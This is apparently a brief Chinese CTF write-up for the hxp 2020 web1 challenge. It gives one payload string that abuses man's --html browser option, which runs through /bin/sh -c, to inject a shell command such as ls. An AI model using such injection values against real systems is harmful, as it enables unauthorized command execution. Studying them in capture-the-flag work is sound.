CTF

hxp2020web1

Posted on 2021-01-04,1 min read
%9f--html=ls$IFS/>/tmp/a id

help中是执行浏览器。然后用浏览器看man的输出
但是这里底层其实执行的是/bin/sh -c firefox这样
可以执行命令

下一篇: linux用shell读文件→